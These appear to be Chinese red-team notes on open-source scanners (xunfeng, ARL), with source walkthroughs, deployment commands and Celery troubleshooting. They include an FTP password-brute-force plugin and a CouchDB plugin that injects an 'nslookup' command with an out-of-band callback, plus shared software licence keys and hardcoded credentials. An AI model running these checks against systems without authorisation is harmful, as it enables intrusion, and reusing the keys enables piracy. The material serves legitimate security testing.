红队专题-APT开源工具
GitHub地址:https://github.com/ki9mu/ARL-plus-docker/releases。爬取exploit_db,github,seebug,metasploit,vulhub等多个平台的漏洞信息。源码地址https://github.com/TophantTechnology/ARL。默认 有 dockercompose环境并 启动。config-docker.ya

开源资产扫描系统
- 开源漏扫-巡风xunfeng源码剖析与应用
- 介绍
- 主体两部分:网络资产识别引擎,漏洞检测引擎。
- 在这里插入图片描述 
- docker安装
- ARL资产灯塔系统
- ARL-Puls
- 安装说明
- 问题 :
- 漏洞监控
- 从零开始VC++C/S远程控制软件RAT-MFC
- [1]远控介绍及界面编写
- 退出程序
- [2]界面编写及上线
- 1.课前回顾
- 2.界面编程(下)
- 3.服务端上线,下线,以及客户端的资源销毁(上)
- [3]客户端与服务端连接
- OnBeginListen 函数
- Common头文件新建项
- m_Mysocket C++类的编写
- itemData调用
- 继承
- 消息传递函数
- [4]客户端与服务端连接
- 服务端编写
- m_sock
- Common 头文件
- ThreadMain头文件
- runflag 启动
- [5]客户端与服务端连接
- 端
- 未找到来自 OleAcc.dll 的导入LINK
- 远程桌面屏幕监控
- [24]屏幕监控-(1)屏幕查看与控制技术的讲解
- [25]---屏幕监控(2)查看屏幕的实现
- [26]---屏幕监控(3)查看屏幕的实现
- [27]屏幕监控(4)发送与接收图像信息及客户端显示
- [28]屏幕监控(5)发送与接收图像信息
- [29]屏幕监控(6)滚动条设置与清除剩余数据
- 7.1 屏幕抓图显示
- BMP位图结构分析,将抓取的图像保存成文件
- 7.3 虚拟键盘和虚拟鼠标的一个小demo
- 7.4 gh0st远程桌面管理的分析 抓取与传输
- 7.5 服务端编写
-
- Screen类
- 添加构造函数的参数
- ControlThread
- bool IsConnect()
- bool IsMetricsChange()
- void ResetScreen(int biBitCount)
- int GetCurrentPixelBits()
- WorkThread
- void sendBITMAPINFO()
- void sendFirstScreen()
- void sendNextScreen()
- void OnReceive(LPBYTE lpBuffer, UINT nSize)
- void SendLocalClipboard()
- void ProcessCommand( LPBYTE lpBuffer, UINT nSize )
- void UpdateLocalClipboard( char *buf, int len )
- 7.6 主控端的编写
-
- 构造函数的代码
- 添加WM_CLOST消息
- 重写OnInitDialog()
- 添加void InitMMI()
- 添加void SendNext()
- WM_GETMINMAXINFO 最小或者最大化消息
- WM_HScroll 滚动条消息
- WM_Paint 对话框重新绘制消息
- void DrawTipString(CString str)
- void OnReceiveComplete()
- void DrawFirstScreen() 隔行扫描绘制
- void DrawNextScreenDiff()
- void DrawNextScreenRect()
- void ResetScreen() 重载屏幕分辨率
- void UpdateLocalClipboard(char *buf, int len)
- 7.7 完善主控端
- client 生成 build
- [16]超级终端(1)
- [17]超级终端(2)
- [30]远控班第一期课程与远控总结
开源漏扫-巡风xunfeng源码剖析与应用
巡风
https://github.com/ysrc/xunfeng
http://x:8000/login
https://blog.csdn.net/hl1293348082/article/details/123865548
https://blog.csdn.net/weixin_42417767/article/details/102859978
介绍
巡风是一款适用于企业内网的漏洞快速应急,巡航扫描系统。
支持多平台安装,包括windows、linux、OSX、docker
1.查看内部网络资产分布
2.指定漏洞插件对搜索结果进行快速漏洞检测
3.并输出结果报表
主体两部分:网络资产识别引擎,漏洞检测引擎。
·
①网络资产识别:
通过用户配置的IP范围定期自动的进行端口探测(支持调用MASSCAN),
并进行指纹识别,识别内容包括:服务类型、组件容器、脚本语言、CMS。
②漏洞检测引擎
根据用户指定的任务规则进行定期或者一次性的漏洞检测,
其支持2种插件类型、标示符与脚本,均可通过web控制台进行添加。
资产扫描和漏洞扫描都是基于数据库中特定字段的改变,会有心跳线程monitor(),不断的去检查数据库中字段。用户在页面上的操作,都是先改变数据库内容而已。
所以比如开启某个漏扫任务,可能没法马上开始。

代码赏析
任务模块化,结构化的思维
项目比较完整
插件编写
漏洞插件支持2种类型,json标示与python脚本,
可以通过官方推送渠道安装或者自行添加。
JSON标示符

Python脚本
插件标准非常简洁,
只需通过 get_plugin_info 方法定义插件信息,check函数检测漏洞即可。
此外系统内嵌了辅助验证功能

使用例子:
import ftplib
def get_plugin_info(): # 插件描述信息
plugin_info = {
"name": "FTP弱口令",
"info": "导致敏感信息泄露,严重情况可导致服务器被入侵控制。",
"level": "高危",
"type": "弱口令",
"author": "wolf@YSRC",
"url": "",
"keyword": "server:ftp", # 推荐搜索关键字
}
return plugin_info
def check(ip, port, timeout): # 漏洞检测代码
user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']
for user in user_list:
for pass_ in PASSWORD_DIC: # 密码字典无需定义,程序会自动为其赋值。
pass_ = str(pass_.replace('{user}', user))
try:
ftp = ftplib.FTP()
ftp.timeout = timeout
ftp.connect(ip, port)
ftp.login(user, pass_)
if pass_ == '': pass_ = 'null'
if user == 'ftp' and pass_ == 'ftp': return u"可匿名登录"
return u"存在弱口令,账号:%s,密码:%s" % (user, pass_) # 成功返回结果,内容显示在扫描结果页面。
except:
pass
import urllib2
import random
import socket
def get_plugin_info(): # 插件描述信息
plugin_info = {
"name": "CouchDB未授权访问",
"info": "导致敏感信息泄露,攻击者可通过控制面板执行系统命令,导致服务器被入侵。",
"level": "高危",
"type": "未授权访问",
"author": "wolf@YSRC",
"url": "",
"keyword": "server:couchdb", # 推荐搜索关键字
}
def get_ver_ip(ip):
csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
csock.connect((ip, 80))
(addr, port) = csock.getsockname()
csock.close()
return addr
def random_str(len):
str1=""
for i in range(len):
str1+=(random.choice("ABCDEFGH1234567890"))
return str(str1)
def check(ip,port,timeout):
rand_str = random_str(8)
cmd = random_str(4)
server_ip = get_ver_ip()
req_list = [
["/_config/query_servers/%s"%(cmd),'"nslookup %s %s>log"'%(rand_str,server_ip)],
["/vultest123",''],
["/vultest123/test",'{"_id":"safetest"}']
]
for req_info in req_list:
try:
request = urllib2.Request(url+req_info[0],req_info[1],timeout=timeout)
request.get_method = lambda: 'PUT'
urllib2.urlopen(request)
except:
pass
try:
req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s","map":""}'%(cmd))
req_exec.add_header("Content-Type","application/json")
urllib2.urlopen(req_exec)
except:
pass
check = urllib2.urlopen("http://%s:8088/%s"%(server_ip,rand_str)).read()
if 'YES' in check:
return u"未授权访问"
文件结构

功能 模块
添加IP
菜单“配置”--“网络资产探测列表”


二、设置资产探测周期
设置资产探测的扫描周期,
资产添加后大约等该40s之后到菜单“统计”处查看存活检查结果

当更新资产时须手动重启巡风相关服务。
再次执行sh Run.sh即可
三. 进行扫描
先进行查询

选中查询到的IP,并新增任务

任务的相关设置
最后单击保存任务提示“新增成功”

四、查看任务
菜单“任务”–单击新建的任务查看即可。
手动测试好使:

填入正确的masscan路径和资产范围


aider 这个目录是辅助验证的
Aider.py 辅助验证的脚本。
这个脚本会监听8088端口、以及DNS监听53端口。
可以将所有请求的dns请求记录下来辅助验证某处是否存在漏洞。
db 数据库
dockerconf docker的配置
docs windows Linux docker环境下的使用文档
install .sh ,那应该就是Linux的安装时才使用到的文件夹了
masscan 里面存放的是根据不同操作系统选择不同的masscan的版本
nascan 资产探测识别 信息收集相关的东西
venv 虚拟环境,这个是根据requirements.txt创建的虚拟安装
views 巡风flask框架的视图存放
vulscan 目录存放的是漏洞探测(其中包括打poc)

mogod.exe 用于启动mongodb
Run.py 启动web网站
Aider.py # 辅助验证脚本
VulScan.py # 漏洞检测引擎
NAScan.py # 网络资产信息抓取引擎

flask框架
注意视图函数的跳转,有的地方是不跳转的
- lib可以说是一个动态库
- lib 里面的 ___ init __.py是做初始化的工作( 空文件 )

-
在引用这个目录的文件之前,先执行这个 __ init __
-
AntiCSRF 巡风的csrf防御,

巡风对于csrf防御 用的是 加referer的形式
(csrf防御有两种机制,一种是加token,
一种是加referer,相对来说还是加token更安全一点,
毕竟referer是可以伪造的)-- 判断referer的依据是,首先在一个request里面要有referer, 再有这个referer的格式化必须要跟服务器内的相等--
from functools import wraps
from flask import url_for, redirect, request
# 检查referer
def anticsrf(f):
@wraps(f)
def wrapper(*args, **kwargs):
try:
if request.referrer and request.referrer.replace('http://', '').split('/')[0] == request.host:
return f(*args, **kwargs)
else:
return redirect(url_for('NotFound'))
except Exception, e:
print e
return redirect(url_for('Error'))
return wrapper
- Conn.py 是连接mongdb的数据的文件
from pymongo import MongoClient
# 数据库连接
class MongoDB(object):
def __init__(self, host='localhost', port=27017, database='xunfeng', username='', password=''):
self.host = host
self.port = port
self.database = database
self.conn = MongoClient(self.host, self.port)
self.coll = self.conn[self.database]
self.coll.authenticate(username, password)
- Create_Excel.py 创建excel的脚本

# -*- coding: UTF-8 -*-
import xlwt
import StringIO
# 将数据保存成excel
def write_data(data, tname):
file = xlwt.Workbook(encoding='utf-8')
table = file.add_sheet(tname, cell_overwrite_ok=True)
l = 0
for line in data:
c = 0
for _ in line:
table.write(l, c, line[c])
c += 1
l += 1
sio = StringIO.StringIO()
file.save(sio)
return sio
# excel业务逻辑处理
def CreateTable(cursor, id):
item = []
item.append(['IP', '端口', '主机名', '风险等级', '漏洞描述', '插件类型', '任务名称', '时间', '扫描批次'])
for i in cursor:
if i['lastscan']:
_ = [i['ip'], i['port'], i['hostname'], i['vul_level'], i['info'],
i['vul_name'], i['title'], i['time'].strftime('%Y-%m-%d %H:%M:%S'),
i['lastscan'].strftime('%Y-%m-%d %H:%M:%S')]
else:
_ = [i['ip'], i['port'], i['hostname'], i['vul_level'], i['info'],
i['vul_name'], i['title'], i['time'].strftime('%Y-%m-%d %H:%M:%S'), '']
item.append(_)
file = write_data(item, id)
return file.getvalue()
- 最重要的是导入了一个xlwt这个库,
- 这个库在写文件的时候是整行整行的写
- StringIO与file对象非常像,但它不是磁盘上文件,而是一个内存里的“文件”,我们可以像操作磁盘文件那样来操作StringIO。
- def write_data()就是一个保存和写一个excel的操作,
create_table是excel里面写的操作。 - Login.py 这个用的是一个装饰器,就是限制有没有session的,
def logincheck(f):
@wraps(f)
def wrapper(*args, **kwargs):
try:
if session.has_key('login'):
if session['login'] == 'loginsuccess':
return f(*args, **kwargs)
else:
return redirect(url_for('Login'))
else:
return redirect(url_for('Login'))
except Exception, e:
print e
return redirect(url_for('Error'))
- QueryLogic,就是在首页点搜索的时候,要对数据进行处理,
import re
def mgo_text_split(query_text):
''' split text to support mongodb $text match on a phrase '''
sep = r'[`\-=~!@#$%^&*()_+\[\]{};\'\\:"|<,./<>?]'
word_lst = re.split(sep, query_text)
text_query = ' '.join('\"{}\"'.format(w) for w in word_lst)
return text_query
# 搜索逻辑
def querylogic(list):
query = {}
if len(list) > 1 or len(list[0].split(':')) > 1:
for _ in list:
if _.find(':') > -1:
q_key, q_value = _.split(':', 1)
if q_key == 'port':
query['port'] = int(q_value)
elif q_key == 'banner':
zhPattern = re.compile(u'[\u4e00-\u9fa5]+')
contents = q_value
match = zhPattern.search(contents)
# 如果没有中文用全文索引
if match:
query['banner'] = {"$regex": q_value, '$options': 'i'}
else:
text_query = mgo_text_split(q_value)
query['$text'] = {'$search': text_query, '$caseSensitive':True}
elif q_key == 'ip':
query['ip'] = {"$regex": q_value}
elif q_key == 'server':
query['server'] = q_value.lower()
elif q_key == 'title':
query['webinfo.title'] = {"$regex": q_value, '$options': 'i'}
elif q_key == 'tag':
query['webinfo.tag'] = q_value.lower()
elif q_key == 'hostname':
query['hostname'] = {"$regex": q_value, '$options': 'i'}
elif q_key == 'all':
filter_lst = []
for i in ('ip', 'banner', 'port', 'time', 'webinfo.tag', 'webinfo.title', 'server', 'hostname'):
filter_lst.append({i: {"$regex": q_value, '$options': 'i'}})
query['$or'] = filter_lst
else:
query[q_key] = q_value
else:
filter_lst = []
for i in ('ip', 'banner', 'port', 'time', 'webinfo.tag', 'webinfo.title', 'server', 'hostname'):
filter_lst.append({i: {"$regex": list[0], '$options': 'i'}})
query['$or'] = filter_lst
return query
-
如果用户输入的是port:22 ,分析下端口是22。这个要先根据 :分片
-
在进行检索的时候才会是知道port 22的所有结果
-
views.static 目录,这个目录就是把图片,css,js前端相关的一些东西
除了html都封装到这个目录里面了,这个是flask定义好的。 -
views.templates这个目录里面封装的是视图函数用到的所有html。
-
view.views 这个文件就是存放巡风所有的视图了。
-
视图可以理解为就是一个url链接。

@app.route('/login', methods=['get', 'post'])
def Login():
if request.method == 'GET':
return render_template('login.html')
else:
account = request.form.get('account')
password = request.form.get('password')
if account == app.config.get('ACCOUNT') and password == app.config.get('PASSWORD'):
session['login'] = 'loginsuccess'
return redirect(url_for('Search'))
else:
return redirect(url_for('Login'))
获取account,password然后判断一下是否跟config里面保存的ACCOUNT、PASSWORD一样
- config.py
# coding:utf-8
class Config(object):
ACCOUNT = 'admin'
PASSWORD = '123456'
class ProductionConfig(Config):
DB = '127.0.0.1'
PORT = 65521
DBUSERNAME = 'scan'
DBPASSWORD = 'scanlol66'
DBNAME = 'xunfeng'
因为是个人使用,所以在数据库里面没有创建一张用户表。
直接跟config里面的验证一下,然后session添加一个常量就可以了。
如果验证正确就重定向到Search,如果错误就重定向到Login里面。
- filter就是直接渲染一个search.html
@app.route('/filter')
@logincheck
def Search():
return render_template('search.html')
search.html里面中,除了这个搜索,
其他都是通过a标签的方式进行重定向,
就只有搜索功能是通过ajax,发送消息
·
假如搜索的是port : 22,那么结果就应该是

对应的就是这个视图
@app.route('/')
@logincheck
def Main():
q = request.args.get('q', '')
# 这里获取里两个参数,通过这样获取到搜索的条件进行查询
page = int(request.args.get('page', '1'))
plugin = Mongo.coll['Plugin'].find() # 插件列表
plugin_type = plugin.distinct('type') # 插件类型列表
if q: # 基于搜索条件显示结果
result = q.strip().split(';')
query = querylogic(result)
cursor = Mongo.coll['Info'].find(query).sort('time', -1).limit(page_size).skip((page - 1) * page_size)
return render_template('main.html', item=cursor, plugin=plugin, itemcount=cursor.count(),
plugin_type=plugin_type, query=q)
else: # 自定义,无任何结果,用户手工添加
return render_template('main.html', item=[], plugin=plugin, itemcount=0, plugin_type=plugin_type)
q是获取搜索的标签,
其中这个request.args.get()这个是可以好好研究研究的
基本上都是通过ajax方式给后端发送数据。
Win10部署和调试巡风
安装 python 解释器:
https://sec.ly.com/mirror/python-2.7.13.amd64.msi
python 依赖库
下载并安装 pip 工具, https://pypi.python.org/pypi/pip#downloads 下载完解压后执行:
python setup.py install
使用pip安装 python 依赖库, 这里使用了豆瓣的 pypi 源。
pip install -r requirements.txt -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com
·

因为我安装过Anaconda 因此有些依赖已经存在
安装数据库
https://github.com/ysrc/xunfeng/blob/master/docs/install/Windows.md 安装指南 win
下载: https://sec.ly.com/mirror/mongodb-win32-x86_64-2008plus-ssl-3.4.0-signed.msi
二、部署与配置
-
启动数据库
DBData为指定的数据库保存路径 需要新建一个DBData文件夹,写上DBData路径即可mongod.exe --port 65521 --dbpath DBData


-
mongodb 添加认证
可能需要等待时间长一点,耐心等待$ mongo 127.0.0.1:65521/xunfeng
db.createUser({user:‘aming’,pwd:‘xxx’,roles:[{role:‘dbOwner’,db:‘xunfeng’}]})
exit
`

2. 导入数据库
db 文件夹位于xunfeng代码目录中: 即下载下来的xunfeng文件中的db文件 db写成db的路径即可
$ mongorestore.exe -h 127.0.0.1:65521 -d xunfeng db
`
导入后关闭mongod.exe进程
- 修改配置
修改系统数据库配置脚本 config.py:
class Config(object):
ACCOUNT = 'admin'
PASSWORD = 'xunfeng321'
修改 DBPASSWORD 字段内的密码, 设置成你的密码。
class ProductionConfig(Config):
DB = '127.0.0.1'
PORT = 65521
DBUSERNAME = 'scan'
DBPASSWORD = 'scanlol66'
DBNAME = 'xunfeng'
- 运行系统
根据实际情况修改 conifg.py 和 run.bat 文件后, 执行:
run.bat
run.bat文件:我把认证去掉了。
start mongod.exe --port 65521 --dbpath E:\yjs\MongoDB\DBdata
start python web.py
start python aider/aider.py
start python nascan/nascan.py
start python vulscan/vulscan.py
如何运行run.bat文件
我在bat文件上一层即xunfneg文件夹,按住shift 右键 选择 在此打开powershell 然后输入
./runbat
即可出现好几个命令窗口,并且不闪退即为成功。
输入在web.py文件中设置的 port和ip即可访问巡风
`
python 3.7


Python 3.0以后的print都改为了print();











































































































giehub 文档
1.1 操作系统依赖









解决 拖拽 传输卡的 问题
YG5H2-ANZ0H-M8ERY-TXZZZ-YKRV8
UG5J2-0ME12-M89WY-NPWXX-WQH88
UA5DR-2ZD4H-089FY-6YQ5T-YPRX6
GA590-86Y05-4806Y-X4PEE-ZV8E0
ZF582-0NW5N-H8D2P-0XZEE-Z22VA
YA18K-0WY8P-H85DY-L4NZG-X7RAD
win10到1903,导致VMware版本不适配,更新到15.1以上就可以解决














# 存储
storage:
dbPath: /opt/mongodb423/data/
# 网络
net:
bindIp: 127.0.0.1
# 默认为27017
port: 11111
# 日志
systemLog:
destination: file
path: /opt/mongodb423/logs/mongodb423.log
logAppend: true




























docker安装
- 创建镜像
$ docker build -t xunfeng .


或者
$ docker pull ysrc/xunfeng


-
创建容器
$ docker run -d -p 8000:80 -v /opt/data:/data ysrc/xunfeng:latest
把物理机的 /opt/data 挂载到容器的 /data 目录下, 访问: http://127.0.0.1:8000/ 正常访问则代表安装成功 -
Docker 镜像信息
类型 用户名 密码
Web账号 admin xunfeng321
mongodb 数据库 scan scanlol66
mongodb 端口 27017 -
巡风物理路径 /opt/xunfeng -
MASSCAN 路径 /opt/xunfeng/masscan/linux_64/masscan -
2021.2.22
开发工具 : pycharm 2020.1
增加 舆论分析系统 + 多搜索引擎(支持google) 去重 url 关键词采集*
- 可根据 具体行业 进行 选择式行业 渗透测试
ARL资产灯塔系统
docker restart 29690f30ec93 && docker restart 097f21f20565 && docker restart 0d5dbaa288c3 && docker restart c3bc978c70cf
rmi
docker stop 29690f30ec93 && docker stop 097f21f20565 && docker stop 0d5dbaa288c3 && docker stop c3bc978c70cf && docker stop a1c85e9a1585
docker rm 29690f30ec93 && docker rm 097f21f20565 && docker rm 0d5dbaa288c3 && docker rm c3bc978c70cf && docker rm a1c85e9a1585
git clone https://github.com/TophantTechnology/ARL
unzip
docker volume create --name=arl_db
docker-compose up -d
admin/arlpass
980c23be6bf3 tophant/arl:latest "sh -c 'wait-for-it.…" About a minute ago Up About a minute arl_scheduler
01606d856a00 tophant/arl:latest "sh -c 'gen_crt.sh; …" About a minute ago Up About a minute 0.0.0.0:5003->443/tcp, :::5003->443/tcp arl_web
21bbc6441e90 tophant/arl:latest "sh -c 'wait-for-it.…" About a minute ago Up About a minute arl_worker
4e9080c7201a mongo:4.0.27 "docker-entrypoint.s…" About a minute ago Up About a minute 27017/tcp arl_mongodb
62945667115f rabbitmq:3.8.19-management-alpine "docker-entrypoint.s…" About a minute ago Up About a minute 4369/tcp, 5671-5672/tcp, 15671-15672/tcp, 15691-15692/tcp, 25672/tcp arl_rabbitmq
docker restart 980c23be6bf3 && docker restart 01606d856a00 && docker restart 21bbc6441e90 && docker restart 4e9080c7201a && docker restart 62945667115f
docker exec -it 4e9080c7201a /bin/bash
mongo --host 127.0.0.1 --port 27017 --username arl --password arlpassword --authenticationDatabase arlv2host
系统
-> 跳过CDN
\》ARL历史
\》DNS字典
pip install requests-ntlm==1.2.0 -i "https://pypi.doubanio.com/simple/"
pip install Flask==2.0.3 -i "https://pypi.doubanio.com/simple/"
Flask-WTF==1.0.0
pymongo==3.13.0
flask-restx==1.0.3
psutil==5.7.2
celery==5.1.2
colorlog==6.7.0
dnspython==2.0.0
tld==0.12.6
geoip2==2.9.0
pyOpenSSL==22.1.0
python-crontab==2.7.1
lxml==4.8.0
pyquery==1.4.3
openpyxl==3.0.0
PyMySQL==1.0.2
xlwt==1.3.0
dnslib==0.9.23
requests-ntlm==1.2.0
pycryptodomex==3.17
3.9
pip install backports.zoneinfo
pip install tzdata
cf030d6af269676d1957d0cb774f298b
/api/policy/
/api/policy/add/
/api/poc/?plugin_type=brute
/api/poc/?plugin_type=poc
massdns.exe 是一个用于进行大规模 DNS 解析的工具。它是一个开源的命令行工具,可以在各种操作系统上运行。
massdns.exe 的主要功能是对域名进行批量解析,它通过并发地向 DNS 服务器发送 DNS 请求,并收集响应结果。这使得它能够快速地处理大量域名,并提供了一种有效的方法来验证和收集关于域名的信息。
使用 massdns.exe,您可以执行以下任务:
1. 子域名枚举:通过提供顶级域名,利用 massdns.exe 可以查询该域名下的所有子域名。这对于安全测试和漏洞评估非常有用。
2. 云安全与负载均衡测试:通过批量解析域名,可以检测是否存在云服务,以及域名背后是否有负载均衡设备。
3. 域名历史记录分析:通过解析域名历史记录中的域名,可以获取与域名相关的更多信息,例如之前的 DNS 记录和之前的 IP 地址。
ARL资产侦察灯塔系统
https://github.com/TophantTechnology/ARL
灯塔
https://www.anquanke.com/post/id/253480
https://github.com/TophantTechnology/ARL/wiki/Docker-%E7%8E%AF%E5%A2%83%E5%AE%89%E8%A3%85-ARL
https://120.48.83.89:5003/
https://tophanttechnology.github.io/ARL-doc/
文档
https://github.com/1c3z/ARL-NPoC
POC框架
ing -h
usage: xing [-h] [--version] [--quit]
[--log {debug,info,success,warning,error}]
{list,scan,sniffer,exploit,brute,listener} ...
positional arguments:
{list,scan,sniffer,exploit,brute,listener}
子命令
list 显示插件
scan 扫描
sniffer 协议识别
exploit 漏洞利用
brute 弱口令爆破
listener 监听
optional arguments:
-h, --help show this help message and exit
--version, -V show program's version number and exit
--quit, -q 安静模式 (default: False)
--log {debug,info,success,warning,error}, -L {debug,info,success,warning,error}
日志等级 (default: info)
其中子命令的-t参数可以为文件名也可以为单个指定的目标,-n 按照文件名筛选PoC
pip3 install -r requirements.txt
pip3 install -e .
https://www.anquanke.com/post/id/252321#h3-3
文章
整个程序利用Flask架构编写,通过入口main.py文件,通过入口文件,初始化Flask框架,加载api,
然后通过命名空间绑定路由。
各个功能模块大多是独立分开的,通过url直接调用。
其次,就是异步任务队列和任务调度器两个单独模块。
mongod.exe -port 6321 --dbpath F:\Godmongodb_F
mongo 127.0.0.1:6321/GodV1
db.createUser({user:'aming',pwd:'Msr010527',roles:[{role:'dbOwner',db:'GodV1'}]})
celery -A app.celerytask.celery worker -l info -Q Godtask -n Godtask -c 2 -O fair -f GOd_worker.log
python -m app.scheduler
set ERLANG_HOME=G:\envir\base\Erlang OTP
rabbitmq:5672
nuclei的模板文件存放的默认路径是当前用户路径下,即 YourUserHome/nuclei-templates。
C:\Users\amingMM\nuclei-templates
Docker 启动
git clone https://github.com/TophantTechnology/ARL
cd ARL/docker/
docker volume create arl_db
docker-compose pull
docker-compose up -d
想在命令行打印出来 celery worker 的运行情况,您可以使用 celery inspect 命令,它可以让您远程控制或查看 worker 的状态。celery inspect 命令有以下几个参数:
-A app.celerytask.celery 指定 celery 应用的模块名,也就是包含 celery 实例的 python 文件
-d Godtask 指定要控制或查看的 worker 的节点名,也就是 worker 的唯一标识
report 指定要执行的命令,report 命令可以返回 worker 的基本信息,比如主机名、平台、进程号等
-t 10 指定超时时间为 10 秒,也就是如果在 10 秒内没有收到 worker 的回复,就放弃等待
例如:
$ celery -A app.celerytask.celery inspect -d Godtask report -t 10
这个命令会向 Godtask 这个 worker 发送 report 命令,并等待 10 秒内的回复。如果成功,会打印出类似这样的结果:
-> Godtask: OK - platform: Windows-10-10.0.19041-SP0 - hostname: Godtask@DESKTOP-123456 - pid: 1234 - clock: 5678 - freq: 2.0 - loadavg: N/A - processed: 0 - active: 0 - registered: 1
如果失败,会打印出类似这样的结果:
-> Godtask: ERROR (no reply within 10s)
-l info 是一个用于修改 celery worker 的日志级别的参数,它表示将日志级别设置为 info ,也就是输出一般的信息,比如任务的接收、执行、结果等。这个参数是一个缩写,完整的写法是 --loglevel info 。celery worker 支持以下几种日志级别:
CRITICAL: 只输出严重的错误信息
ERROR: 输出错误信息
WARNING: 输出警告信息
INFO: 输出一般信息
DEBUG: 输出调试信息
celery -A app.celerytask.celery worker -l DEBUG -Q arlgithub -n Godtask -c 2 -O fair -f GOd_worker.log
celery -A app.celerytask.celery worker -l DEBUG -Q Godtask -n Godtask -c 2 -O fair -f GOd_worker.log
celery -A app.celerytask.celery flower
E:\hack\道普内部武器库\信息搜集\端口扫描\Nmap
python -m pip show pymongo
WARNING: Ignoring invalid distribution -ip (d:\python3.7\lib\site-packages)
Name: pymongo
Version: 3.0
celery.conf.update 是一个方法,用于更新 Celery 的配置选项1。您的代码中的配置选项的含义如下:
task_acks_late: 如果为 True,任务在执行完毕后才会发送确认消息,而不是在接收到任务时就发送。这意味着如果一个 worker 意外终止或被杀死,没有执行完的任务会被重新分配给其他 worker1。
worker_prefetch_multiplier: 每个 worker 进程可以预取的任务数量的乘数。默认值是 4,即每个 worker 进程可以预取四倍于并发数的任务数量。如果设置为 1,每个 worker 进程只能预取一个任务1。
broker_transport_options: 一个字典,用于传递给 broker 的传输选项。具体的选项取决于使用的 broker 类型。您的代码中使用的选项是针对 AMQP broker 的,它们的含义如下:
max_retries: 连接失败时重试的最大次数。默认值是 1002。
interval_start: 重试间隔的初始值,单位是秒。默认值是 02。
interval_step: 每次重试后增加的间隔值,单位是秒。默认值是 0.22。
interval_max: 重试间隔的最大值,单位是秒。默认值是 0.52。
D:/python3.7/python.exe c:/Users/amingMM/Desktop/Godeye/test/__aming_main.py
celery -A __test__aming flower
celery -A __test__aming worker --pool=solo -l Debug -Q Godtask -n add -c 2 -O fair -f GOd_worker.log
platforms.C_FORCE_ROOT 是一个环境变量,用于控制 Celery 是否允许以 root 用户运行 worker1。如果设置为 True,Celery 会忽略 root 用户的警告,但这是非常不推荐的,因为可能会带来安全风险12。如果您想以非 root 用户运行 Celery,您可以使用 --uid 选项指定一个不同的用户1,或者在 Dockerfile 中创建一个新的用户并切换到该用户2。
您的 Celery 配置中设置了 CELERY_ALWAYS_EAGER = True,这会导致所有的任务在 Django 主进程中执行,而不是发送到队列中。您可以将该选项设置为 False,或者在测试环境中使用 CELERY_TASK_ALWAYS_EAGER = True1。
您的任务执行时间超过了 broker 的消息可见性超时时间,导致其他 worker 认为该消息已经被处理,重新将其放回队列中。您可以增加 broker_transport_options 中的 visibility_timeout 选项的值,或者优化您的任务执行时间2。
您的任务没有正确地返回结果或者抛出异常,导致 worker 无法确认任务完成,重新尝试执行该任务。您可以检查您的任务代码是否有逻辑错误或异常处理3。
根据搜索结果,Celery 任务可以通过 revoke 方法来终止或撤销1。您需要传入任务的 uuid 作为参数,以及 terminate=True 选项来强制终止正在执行的任务。例如:
from celery.task.control import revoke
revoke (task_id, terminate=True)
注意:revoke 方法只是告诉 Celery 将任务的 uuid 保存在一个内存集合中,而不是立即从队列中删除任务。当任务到达队列顶部时,Celery 会检查它是否在撤销集合中,如果是,就不会执行它。如果您重启 Celery worker,内存集合会丢失,撤销的任务可能会被重新执行。为了避免这种情况,您可以使用 --statedb 选项来将撤销集合保存在文件系统中1。
Celery 是一个 Python 的分布式任务队列系统,它可以处理在多个线程或网络节点上分发的任务1。它使得异步任务管理变得简单。您的应用程序只需要将消息推送到一个 broker,比如 RabbitMQ,然后 Celery worker 会从队列中取出消息并安排任务执行12。Celery 可以用于多种配置。最常见的用途是通过在 Celery worker 上运行资源密集型的任务来实现水平应用扩展,或者在 web 应用中管理长时间的异步任务,比如用户发布图片时的缩略图生成23。
RabbitMQ 是一个消息 broker,它负责创建任务队列,根据一些路由规则将任务分发到任务队列中,然后将任务从任务队列中传递给 worker12。RabbitMQ 是 Celery 推荐的 broker,因为它功能完善、稳定2。您也可以选择其他的 broker,比如 Redis 或数据库(比如 Django 数据库)2。
使用 Celery 的 inspect 方法,它可以返回当前的活动任务、预定任务、保留任务等信息1。例如:
from celery.task.control import inspect
i = inspect ()
i.active () # 返回当前正在执行的任务
i.scheduled () # 返回当前已经预定的任务
i.reserved () # 返回当前已经保留的任务
使用 Celery 的 Flower 工具,它是一个 web 界面,可以实时显示任务的状态(活动、完成、保留等),并且可以按照时间、worker 和类型进行过滤2。您可以通过以下命令安装和运行 Flower:
pip install flower
celery -A proj flower
使用 Celery 的 on_success 或 on_failure 方法或信号,它们可以在任务完成或失败时执行一些操作,比如将任务的信息保存到自己的数据库中3。您需要创建一个自定义的任务类来实现这些方法或信号。例如:
from celery import Task
class MyTask (Task):
def on_success (self, retval, task_id, args, kwargs):
# 将任务的结果和其他信息保存到数据库中
pass
def on_failure (self, exc, task_id, args, kwargs, einfo):
# 将任务的异常和其他信息保存到数据库中
pass
您的 Celery 应用程序没有正确地连接到 RabbitMQ broker,或者 broker 没有正常运行。您可以检查您的 Celery 配置中的 broker_url 选项是否正确,或者使用 rabbitmqctl status 命令查看 broker 的状态1。
您的 Celery worker 没有正确地注册到 Celery 应用程序中,或者 worker 没有正常运行。您可以检查您的 Celery 任务是否放在 <appname>/tasks.py 文件中,并且调用了 app.autodiscover_tasks () 方法来自动发现任务2。或者您可以使用 celery -A proj inspect registered 命令查看已注册的任务3。
您的 Celery 任务没有正确地发送到 RabbitMQ broker 中,或者 broker 没有正常接收消息。您可以检查您的 Celery 任务是否使用了 @app.task 装饰器来定义,并且使用了 delay () 或 apply_async () 方法来异步执行2。或者您可以使用 rabbitmqctl list_queues 命令查看 broker 中的队列情况1。
Celery Flower 出现 unknown worker 的可能原因有以下几种:
您的 Celery worker 在 Flower 启动后才启动,导致 Flower 没有获取到 worker 的信息。您可以在 Flower 的 dashboard 页面上点击 Refresh 按钮,重新发送 inspect 命令,刷新 worker 的状态12。
您的 Celery worker 与 Flower 使用的 broker 不一致,导致 Flower 无法与 worker 通信。您可以检查您的 Celery 和 Flower 的配置中的 broker_url 选项是否相同,并且 broker 是否正常运行3。
您的 Celery worker 响应过慢,导致 Flower 在超时时间内没有收到 worker 的回复。您可以增加 Flower 的 --inspect_timeout 参数的值,或者优化您的 worker 的性能3。
nuclei 环境配置
port_scan: 99.12
